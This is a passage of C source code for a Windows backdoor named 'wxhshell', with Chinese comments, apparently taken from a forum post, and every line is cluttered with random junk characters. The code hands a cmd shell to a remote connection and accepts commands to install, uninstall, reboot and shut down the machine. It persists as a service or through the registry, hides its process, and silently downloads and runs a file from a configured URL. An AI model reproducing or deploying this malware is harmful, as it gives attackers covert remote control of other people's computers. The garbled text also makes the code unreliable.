  } vJct)i  
  // 安装 v@ qDR|?^  
  case 'i': { 0_-o]BY  
    if(Install()) iR PE0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W1Fhx`  
    else y`5 ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >?)_, KL  
    break; YU`k^a7%  
    } K>LS8,8V  
  // 卸载 ~`^kP.()  
  case 'r': { BB9eQ: xO  
    if(Uninstall()) $cuBd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1{]S[\F]  
    else ^+-]V9?+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [{#T N  
    break; %C #Ps   
    } &iq'V*+-\  
  // 显示 wxhshell 所在路径 WA1yA*S  
  case 'p': { \ZhkOl  
    char svExeFile[MAX_PATH]; 0S4Y3bac&  
    strcpy(svExeFile,"\n\r"); n[qnrk*3 %  
      strcat(svExeFile,ExeFile); @jjxgd'%&  
        send(wsh,svExeFile,strlen(svExeFile),0); 92R,o'#  
    break; $bF+J8%D  
    } ,' t&L]  
  // 重启 d8R|0RZ  
  case 'b': { .HGK  3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  t5S|0/f  
    if(Boot(REBOOT)) J}4RJ9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &'i>d&  
    else { sa/9r9hc+  
    closesocket(wsh); 1M?x,N_W  
    ExitThread(0); PY4a3dp U  
    } {iq^CHAVK  
    break; 1:M'|uc  
    } pFiE2V_aS  
  // 关机 bF*Kb"!CF  
  case 'd': { xC= $ym]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i$}G[v<4  
    if(Boot(SHUTDOWN)) )+hJi/g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8-1wx  
    else { hCc%d$wVk  
    closesocket(wsh); x*tCm8`{  
    ExitThread(0); .YH#+T'  
    } {|j-e{*  
    break; V4CA*FEA  
    } D'{ o3Q,%K  
  // 获取shell nygeR|:\  
  case 's': { vl}}h%BC  
    CmdShell(wsh); pNuU{:9 B0  
    closesocket(wsh); nehk8+eV_  
    ExitThread(0); 2$b1q!g<  
    break; vO"E4s  
  } 0R+p\Nc&1  
  // 退出 wt'"<UN  
  case 'x': { ){u# (sW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [I'q"yRu]i  
    CloseIt(wsh); 1|G5 W:  
    break; p14$XV  
    } k%-UW%  
  // 离开 H15!QxD#  
  case 'q': { &`>dY /Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p<Tg}fg  
    closesocket(wsh); GMLx$?=j  
    WSACleanup(); yDe*-N\'W  
    exit(1); L"?4}U:  
    break; 1GLb^:~A  
        } kDE:KV<"c  
  } ,m7Z w_.  
  } -s le7k  
$gk=~p|  
  // 提示信息 Aq(,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }095U(@  
} #L*MMC"  
  } _x`:Ne?  
4IM&#_6  
  return; +, rm  
} v] Xy^7?  
n4"xVDL  
// shell模块句柄 (f#{<^gd  
int CmdShell(SOCKET sock) )^ )|b5,  
{ ;D4 bxz0ou  
STARTUPINFO si; (V/! 0Lj  
ZeroMemory(&si,sizeof(si)); I3l1 _  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bOV]!)o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nii5},  
PROCESS_INFORMATION ProcessInfo; Ur""&@  
char cmdline[]="cmd"; :N xksL^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,>TDxI;  
  return 0; `sRys oW  
} Q2@yUDd!  
q^@*k,HG  
// 自身启动模式 " 68=dC  
int StartFromService(void) A/j'{X!z  
{ /wHfc[b>  
typedef struct : :/vDUDc  
{ y>g`R^^  
  DWORD ExitStatus; x^pHP|<3`  
  DWORD PebBaseAddress; g$# JdN  
  DWORD AffinityMask; (Fk&~/SP  
  DWORD BasePriority; V0F1X s`  
  ULONG UniqueProcessId; _.,"`U; H  
  ULONG InheritedFromUniqueProcessId; ~%: TE}  
}   PROCESS_BASIC_INFORMATION; ]ddL'>$c$  
L'>0E(D  
PROCNTQSIP NtQueryInformationProcess; ^c sOXP=Yp  
8Y;>3z th7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,/Y$%.Rp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K5+ONA<c  
5Ak>/QF9  
  HANDLE             hProcess; ]}_Ohe]X  
  PROCESS_BASIC_INFORMATION pbi; gkx<<)y l  
-N2m|%B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -PiZvge  
  if(NULL == hInst ) return 0; ZQ#AEVI,  
w /CD-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9v}vCg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fEyc3K'5V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h&b s`  
^"$~&\+x5  
  if (!NtQueryInformationProcess) return 0; Psjk 7\  
tZD^<Q7}\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L i`OaP$  
  if(!hProcess) return 0; F;Ubdxwwl  
`{S4_'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k)fLJ9R  
#}'sknvM}  
  CloseHandle(hProcess); 3HX-lg`0  
hXn@vK6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T@N)BfkB  
if(hProcess==NULL) return 0; qNbgN{4  
:HN\A4=kc(  
HMODULE hMod; @'?7au ''  
char procName[255]; .[o?qCsw  
unsigned long cbNeeded; 28xLaob  
,aSK L1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !f8]gTzN  
]i'gU(+;`  
  CloseHandle(hProcess); mDIN%/S'  
=$vy_UN  
if(strstr(procName,"services")) return 1; // 以服务启动 RsP^T:M}$  
95  X6V  
  return 0; // 注册表启动 KWT[b?  
} DGx<Nys@B  
"& q])3h=  
// 主模块 3#c0p790  
int StartWxhshell(LPSTR lpCmdLine) t3aDDu  
{ L>2gx$f  
  SOCKET wsl; C;rK16cn  
BOOL val=TRUE; G%fNGQwT  
  int port=0; K db:Q0B  
  struct sockaddr_in door; [~IFg~*,  
JuXuS  
  if(wscfg.ws_autoins) Install(); NE!]  
uB3Yl =P  
port=atoi(lpCmdLine); @>hXh +!2h  
>U[YSsFt6  
if(port<=0) port=wscfg.ws_port; je~gk6}Y  
VxGR[kq$]  
  WSADATA data; =:v5` :  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gS ^Y?  
\ >|:URnD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ezw<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zk 9i}H  
  door.sin_family = AF_INET; x?-kt.M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .&c!k1kH  
  door.sin_port = htons(port); DP7B X^e  
>W@3_{0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >WW5;7$  
closesocket(wsl); 9TOqA4  
return 1; i@spd5.  
} Gw}b8N6E  
Yu9.0A_) :  
  if(listen(wsl,2) == INVALID_SOCKET) { "Bbd[ZI8  
closesocket(wsl); {}v<2bS  
return 1; }VXZM7@u  
} /7XVr"R  
  Wxhshell(wsl); u1i ?L'  
  WSACleanup(); ++M%PF [ {  
Z"g6z#L&  
return 0; 6I$:mHEhd  
Ewczq1%l:  
} ]5i]2r1  
;CdxKr- d  
// 以NT服务方式启动 Hqm1[G)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BpZ17"\z  
{ @k,}>Tk  
DWORD   status = 0; A**PGy.Ni  
  DWORD   specificError = 0xfffffff; @)p?!3{"  
^B7C8YP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @c#M^:9Dc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \KPwh]0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )Aa  h  
  serviceStatus.dwWin32ExitCode     = 0; n!t][d/g+  
  serviceStatus.dwServiceSpecificExitCode = 0; LuW^Ga"E  
  serviceStatus.dwCheckPoint       = 0; ,Taq~  
  serviceStatus.dwWaitHint       = 0; ?{*/VJl$  
.LHzaeJCX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cu +u'&U!  
  if (hServiceStatusHandle==0) return; M-+= t8  
piKR*|F  
status = GetLastError(); jneos~ 'n8  
  if (status!=NO_ERROR) #R$[?fW  
{ b_j8g{/9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t+Rt*yjO  
    serviceStatus.dwCheckPoint       = 0; 5Dlx]_  
    serviceStatus.dwWaitHint       = 0; aXO|% qX  
    serviceStatus.dwWin32ExitCode     = status; /0I=?+QSo  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~`Xu 6+1o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xKC{P{:  
    return; @Tg +Kt  
  } eMV@er|  
8 |iMD1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sz+Uq]Mn  
  serviceStatus.dwCheckPoint       = 0; VyL|d^'f_  
  serviceStatus.dwWaitHint       = 0; J?N9*ap)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o@g/,V $  
} s.G6?1VXlY  
jW!)5(B[A  
// 处理NT服务事件,比如:启动、停止 &SE+7HXw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5!)_" u3  
{ oc3}L^aD  
switch(fdwControl) (N25.}8Y  
{ '=eE6=m^K  
case SERVICE_CONTROL_STOP: <FFaaGiE>  
  serviceStatus.dwWin32ExitCode = 0; @:"GgkyDl#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; koAM",5D  
  serviceStatus.dwCheckPoint   = 0; jIs2R3B  
  serviceStatus.dwWaitHint     = 0; IB+)2`  
  { C2 ] x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >E3 lY/[  
  } 3?R QPP  
  return; :},/ D*v  
case SERVICE_CONTROL_PAUSE: .JkF{&=B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |]9Z#lv+I  
  break; YKsc[~ h  
case SERVICE_CONTROL_CONTINUE: &,B91H*#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >ey- j\_v  
  break; !,3U_!  
case SERVICE_CONTROL_INTERROGATE: ^  M4-O~  
  break; K'zG[[P  
}; {l-V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y2,\WKa  
} !p~K;p,  
|r=.}9 -  
// 标准应用程序主函数 T>;Kq;(9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .wfN.Z  
{ Z*rA~`@K6  
Ut xe  
// 获取操作系统版本 K2GcU_*t  
OsIsNt=GetOsVer(); H^no&$2`1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GxIw4m9  
sB,>4*Zd  
  // 从命令行安装 [o,S.!W8  
  if(strpbrk(lpCmdLine,"iI")) Install(); )d|hIW]7(  
1#3 Qa{i  
  // 下载执行文件 BsX# ~  
if(wscfg.ws_downexe) { SLze) ?.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?)~j>1"S  
  WinExec(wscfg.ws_filenam,SW_HIDE); $ (gR^L  
} @GiR~bKZ  
D< 4!7*9%  
if(!OsIsNt) { nBVknyMFNF  
// 如果时win9x,隐藏进程并且设置为注册表启动 !7K-Kqn  
HideProc(); xf.2Ig  
StartWxhshell(lpCmdLine); >xt*(j&}  
} MXxE)"G*a  
else P00pSRQHD  
  if(StartFromService()) K{&b "Ba1  
  // 以服务方式启动 42m}c1R  
  StartServiceCtrlDispatcher(DispatchTable); /j1p^=ARV  
else O<x53MN^  
  // 普通方式启动 Y%V|M0 0`  
  StartWxhshell(lpCmdLine); d">Ya !W  
[n_H9$   
return 0; Dg LSDKO!  
}
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只看该作者 1 发表于: 2006-10-10
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